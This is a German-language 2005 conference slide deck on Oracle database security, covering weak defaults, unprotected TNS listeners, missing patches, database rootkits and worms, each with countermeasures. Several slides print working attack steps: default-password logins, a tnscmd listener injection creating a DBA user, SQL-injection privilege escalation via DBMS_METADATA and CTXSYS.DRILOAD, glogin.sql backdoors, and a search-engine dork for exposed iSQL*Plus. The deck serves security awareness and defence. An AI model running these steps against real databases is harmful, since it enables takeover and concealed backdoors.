Oracle Sicherheit Alexander Kornbrust 18-Oktober-2005 Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 1 Agenda 1. Einführung 2. TOP-5 Sicherheitsprobleme 3. Neue Trends z Oracle Rootkits z Oracle Würmer 4. Demonstration Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 2 Diebstahl von Daten in 2005 in den USA ▪ CardSystems (40 Mio. Kreditkartendaten) ▪ Choiceline (1 Mio. Kreditkartendaten) ▪ DSW Shoe Warehouse (1.4 Mio. Kreditkartendaten) ▪ HSBC North America ▪ … Î 102 Vorfälle in den USA 2005 (Stand: Sept. 2005) http://www.idtheftcenter.org/breaches.pdf Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 3 Hotels & Datenbanksicherheit Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 4 Oracle Sicherheit & Larry Ellison Oracle OpenWorld 2005 [21-Sep-2005] He [Larry Ellison] further claimed the last time an Oracle database was broken into was 15 years ago, versus the 45 minutes he said it took for someone to break into Microsoft's first version of its Passport online ordering system. Quellen: http://www.internetnews.com/bus-news/article.php/3550651 Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 5 Einige Zahlen zur Oracle Sicherheit Offiziell von Oracle korrigierte Security-Fehler > 100 (2004) > 233 (Stand: Okt 2005) Momentan offene Security-Probleme > 90 (versch. Security-Firmen) Durchschnittliche Zeit bis zur Patchveröffentlichung > 1,5 Jahre Quellen: AppSecInc, NGSSoftware, Red-Database-Security GmbH, Argeniss, Oracle Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 6 Einige Zahlen zur Oracle Sicherheit - II 90 % aller großen Firmen hatten Sicherheitsvorfälle 70 % aller entdeckten Vorfälle wurden durch Insider verursacht Mythos: Hacker verursachen die meisten Einbrüche Fakt*: Unzufriedene Mitarbeiter und andere Insider waren für mehr als 70% aller Cyber-Angriffe verantwortlich. Fakt: Eine Firewall hilft nicht gegen diese Art der Bedrohung. Quelle: 2004 Computer Security Institute and FBI Survey Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 7 Warum sind Datenbanken oftmals unsicher? Datenbanken sind sehr komplex Datenbanken sind Out-of-the-Box oft unsicher Security und Datenbanken sind meistens 2 verschiedene Welten Security-Gruppe hat meist wenig Datenbank-KnowHow Datenbankgruppe hat meist wenig Security-KnowHow Security im Datenbankumfeld hat eine andere Bedeutung (Rollen, Privilegien) Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 8 TOP-5-Sicherheitsprobleme Default bzw. schwache Passworte TNS Listener nicht geschützt Security Patches nicht eingespielt Nicht benötigte Komponenten installiert Oracle Client Sicherheit Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 9 Default / Schwache Passworte > 50 % aller Kunden haben zumindest einige Default Passworte in Datenbanken > 80 % aller Kunden verwenden schwache Passworte (z.B. appuser/appuser) > 95 % aller Kunden verwenden auf allen Datenbanken identische Systempassworte (Kennt man ein System-Passwort, hat man überall Zugriff) Quelle: Erfahrungswerte verschiedener Oracle Security Firmen Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 10 Default / Schwache Passworte - Schutz Regelmäßige Kontrolle aller Datenbankpassworte Oracle Passwort Policies verwenden Oracle Skripte anpassen, die Default-Passworte zurücksetzen Identisches Sicherheitsniveau für alle Datenbanken mit identischen Passworten Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 11 Default / Schwache Passworte - Beispiel sqlplus scott/tiger sqlplus outln/outln sqlplus dbsnmp / dbsnmp sqlplus system/manager Listen mit Default Passworten sind im Internet* verfügbar Quelle: http://www.petefinnigan.com/default/default_password_list.htm Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 12 TNS-Listener > 90 % aller Oracle Listener sind (standardmäßig) nicht mit einem Passwort geschützt TNS-Listener lässt sich remote administrieren Ungeschützte Listener sind leicht zu übernehmen Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 13 TNS-Listener - Schutz Listener mit einem (starken) Passwort schützen Listener gegen Remote-Administration schützen Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 14 TNS-Listener - Beispiel Listener stoppen lsnrctl stop 122.113.223.122 Listener-Log verändern LSNRCTL> set log_file C:\oracle\ora92\sqlplus\admin\glogin.sql perl tnscmd -h 192.168.2.156 -p 1521 --rawcmd "(CONNECT_DATA=(( > create user hacker identified by hacker; > grant dba to hacker; >" Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 15 Security Patches Schwierig zu installieren Oftmals fehlerhaft * Reihenfolge des Patches spielt zum Teil eine Rolle Zeitaufwändig Quelle: On Security, Is Oracle the next Microsoft, http://www.eweek.com/article2/0,1895,1860159,00.asp Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 16 Security Patches - Schutz Möglichst wenige Komponenten installieren Wenn möglich Workarounds implementieren Regelmäßig auf neue Patchlevel updaten Feste Wartungstermine festlegen Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 17 Security Patches - Beispiel CREATE OR REPLACE FUNCTION "SCOTT"."ATTACK_FUNC" return varchar2 authid current_user as pragma autonomous_transaction; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT'; COMMIT; RETURN ''; END; / -- Funktion ausführen und DBA-Rechte erlangen SELECT SYS.DBMS_METADATA.GET_DDL('''||SCOTT.ATTACK_FUNC()||''','') FROM dual; Î Lösung: Patches für Oracle Critical Patch Update April einspielen Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 18 Unnötige Komponenten Oracle liefert eine Vielzahl von Optionen und Komponenten mit aus (CTXSYS, OLAP, MDSYS, Label Security, …) Jede Komponente bedeutet ein zusätzliches Sicherheits- und Patch-Risiko Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 19 Unnötige Komponenten - Schutz Minimale Features je Datenbank Installation Nicht benötigte Komponenten löschen oder zumindest sperren Nicht benötigte Privilegien entfernen Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 20 Unnötige Komponenten - Beispiel DBA werden über gesperrte Komponente „Oracle Text“ sqlplus scott/tiger@ora902 (oder jeder andere unprivilegierte Benutzer) SQL> exec ctxsys.driload.validate_stmt('grant dba to scott'); BEGIN ctxsys.driload.validate_stmt('grant dba to scott'); END; * ERROR at line 1: ORA-06510: PL/SQL: unhandled user-defined exception ORA-06512: at "CTXSYS.DRILOAD", line 42 ORA-01003: no statement parsed ORA-06512: at line 1 Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 21 Oracle Client Sicherheit > 95% aller DBA-Clients sind ungeschützt Vielfach Datenbank Passworte lokal (verschlüsselt / unverschlüsselt) gespeichert. Gegen lokalen Angriff nicht (ausreichend) gesichert Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 22 Oracle Client Sicherheit - Schutz Arbeitsplätze der DBAs / Systemadministratoren zusätzlich sichern Verschlüsselung der Festplatten Passworte nicht lokal abspeichern Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 23 Oracle Client Sicherheit - Beispiel Reinigungskraft modifiziert Datei glogin.sql auf dem DBA Client Beim nächsten Start des Oracle Tools sqlplus, wird beispielsweise eine Hintertür in der Datenbank installiert Virus modifiziert Datei glogin.sql auf dem Rechner des Administrators. Daraufhin werden alle Datenbanken gelöscht, an denen sich der DBA anmeldet. Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 24 Demonstration verschiedene Sicherheitslücken Default-Passworte Ungeschützten Listener angreifen Security Patches nicht eingespielt Oracle Client Sicherheit Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 25 Neue Trends in der Oracle Sicherheit Oracle Rootkits Oracle Würmer Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 26 Oracle Rootkits Datenbank = Betriebssystem Betriebssysteme und Datenbanken sind in der Architektur ähnlich. Beide besitzen Benutzer Prozesse Jobs Ausführbare Objekte Symbolische Links … Î Eine Datenbank ist eine Art von Betriebssystem. Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 27 Oracle Rootkits OS Oracle SQL Server DB2 Postgres Ps select * from v$process select * from sysprocesses list application select * from pg_stat_activity kill 1234 alter system kill session '12,55' SELECT @var1 = spid FROM sysprocesses WHERE nt_username='andrew' AND spid<>@@spidEXEC ('kill '+@var1); force application (1234) Executa bles View, Package, Procedures and Functions View, Stored Procedures View, Stored Procedures View, Stored Procedures execute select * from view; select * from view; select * from view; select * from view; exec procedure execute procedure exec procedure cd alter session set current_schema =user01 Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 28 Oracle Rootkits Da eine Datenbank eine Art von Betriebssystem ist, kann man jeder Art von Malware vom Betriebssystem auf die Datenbank migrieren. Folgende Konzepte sind unter anderem möglich: Oracle Rootkits Oracle Würmer Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 29 Oracle Rootkits Änderungen an Datenbank-Objekten Unsichtbare Oracle Benutzer Unsichtbare Datenbank Jobs Unsichtbare Datenbank Prozesse Für den DBA bzw. Datenbank-Tools mit den üblichen Methoden nicht zu finden Ohne Software-Tools schwierig zu finden Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 30 Datenbankbenutzer verstecken Benutzerverwaltung in Oracle Benutzer und Rollen werden zusammen in der Tabelle SYS.USER$ gespeichert Benutzer besitzen das Flag TYPE# = 1 Rollen besitzen das Flag TYPE# = 0 Die Views dba_users und all_users vereinfachen den Zugriff Synonyme für dba_users und all_users Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 31 Datenbankbenutzer verstecken Beispiel: Erzeugung eins Datenbankbenutzers namens Hacker SQL> create user hacker identified by hacker; SQL> grant dba to hacker; Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 32 Datenbankbenutzer verstecken Beispiel: Anzeigen aller Datenbankbenutzer SQL> select username from dba_users; USERNAME -----------------------------SYS SYSTEM DBSNMP SYSMAN MGMT_VIEW OUTLN MDSYS ORDSYS EXFSYS HACKER […] Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 33 Datenbankbenutzer verstecken Enterprise Manager (Java) Red-Database-Security GmbH Enterprise Manager (Web) Alexander Kornbrust, 18-Okt-2005 Quest TOAD V1.02 34 Datenbankbenutzer verstecken Zusätzliche Zeile an die View anhängen Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 35 Datenbankbenutzer verstecken Enterprise Manager (Java) Red-Database-Security GmbH Enterprise Manager (Web) Alexander Kornbrust, 18-Okt-2005 Quest TOAD V1.02 36 Datenbankbenutzer verstecken TOAD benutzt die View ALL_USERS anstatt der DBA_USERS. Deshalb ist der Benutzer HACKER immer noch sichtbar. Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 37 Datenbankbenutzer verstecken Nun ist der Benutzer auch in TOAD verschwunden… Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 38 Oracle Rootkits Alle Oracle Datenbanken sollten regelmäßig auf Veränderungen der Struktur hin überprüft werden. Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 39 Datenbank Würmer Das erste Mal wurden Datenbank Würmer von Aaron Newman beschrieben. SQL Slammer war der erste weit verbreitete Datenbankwurm, der ungepatchte MS SQL Server Datenbanken betraf. Oracle Würmer sind bisher noch nicht aufgetaucht, für viele ist es jedoch nur eine Frage der Zeit, bis Würmer auch für Oracle Datenbanken auftauchen. Das Schadenspotential eines solchen Wurms wäre riesig. Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 40 Oracle Würmer Oracle Würmer können auf folgenden Architekturen basieren Oracle Clients Application Server Fehlerhaften Oracle Services Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 41 Oracle Würmer – basierend auf Oracle Client Mögliche Architektur Windows Wurm mit Oracle Payload Ausnutzen der Oracle Client Startup Dateien Ausnutzen von Default-Passworten / Dictionary Attack Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 42 Oracle Würmer – basierend auf Application Servern Suchen potentielle Opfer mit Hilfe von Suchmaschinen z Anwendungen mit SQL Injection Lücken z Anwendungen mit Buffer Overflow Lücken z Dringen von der Anwendung heraus in weitere Systeme ein Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 43 Oracle Würmer – basierend auf Application Servern http://www.google.com/search? q=intitle%3AiSQL+intitle%3ARelease+inurl%3A isqlplus+intitle%3A9.2.0.1&btnG=Search Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 44 Oracle Würmer – Basierend auf fehlerhaften Services Angriff der Datenbanken durch fehlerhaften Implementierung von Oracle Datenbank Services, z.B. TNS-Listener, ONS, … Î Ähnliche Gefahr der schnellen Ausbreitung wie SQLSlammer Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 45 F&A Fragen & Antworten Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 46 Kontakt Oracle Sicherheitsüberprüfungen, Beratung, Training & Oracle Security Software Red-Database-Security GmbH Bliesstrasse 16 D-66538 Neunkirchen Telefon: +49 (0)6821 – 95 17 637 Fax: +49 (0)6821 – 91 27 354 E-Mail: [email protected] Red-Database-Security GmbH Alexander Kornbrust, 18-Okt-2005 V1.02 47